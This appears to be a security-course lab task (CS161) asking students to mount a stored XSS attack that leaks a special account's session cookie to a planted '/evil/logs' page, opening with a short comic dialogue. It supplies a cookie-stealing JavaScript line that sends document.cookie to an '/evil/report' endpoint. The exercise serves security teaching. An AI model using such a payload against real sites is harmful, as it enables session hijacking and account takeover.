Leak cs161’s session cookie (Stored XSS)
Difficulty: Medium
[Wiretapped communication from: The maintenance shop.]
Jonah: I have good news and bad news. What do you want to hear first?
Jordan: Not this again. I… good news?
Jonah: So I tested the self-destruct button on the spacesuit, and the good news is it works. The bad news is we don’t have a spacesuit anymore. We have to request another one from the next Earth resupply mission.
Jordan: Okay, so request one then. It’s not that big of a deal after all, no?
Jonah: Well, you know this is going to be reported. And I’m already on my second report – remember? “three strikes and you’re out”? I can’t. Could you? You’d be doing me a big favor.
Jordan: No way, I’m also on my second report.
Jonah: Oh. So…
Jordan: This never happened.
Jonah: Right. This never happened.
Because it is a special-purpose account, you won’t find cs161’s session token
in the database. However, cs161 still sends a session_token cookie to the
server with every request, so you might be able to leak cs161’s token using a
different attack.
Your CS161 alumni ally has inserted some evil malware that lets you log
arbitrary values to an internal dashboard. When you send a HTTP GET Request to
the /evil/report endpoint and include a message parameter, the message is
posted to the /evil/logs page. Try it by visiting the following URL in your
browser!
https://box.cs161.org/evil/report?message=hello1234
Your task: Leak cs161’s session cookie by pushing it onto the /evil/logs
page.
Tips
-
You may want to try this attack on yourself before executing it on another user.
-
You may find this block of JavaScript code useful:
fetch('/evil/report?message='+document.cookie)
- You may assume the cs161 user will be browsing the main pages of the site in the background (e.g. home, list, upload, etc.).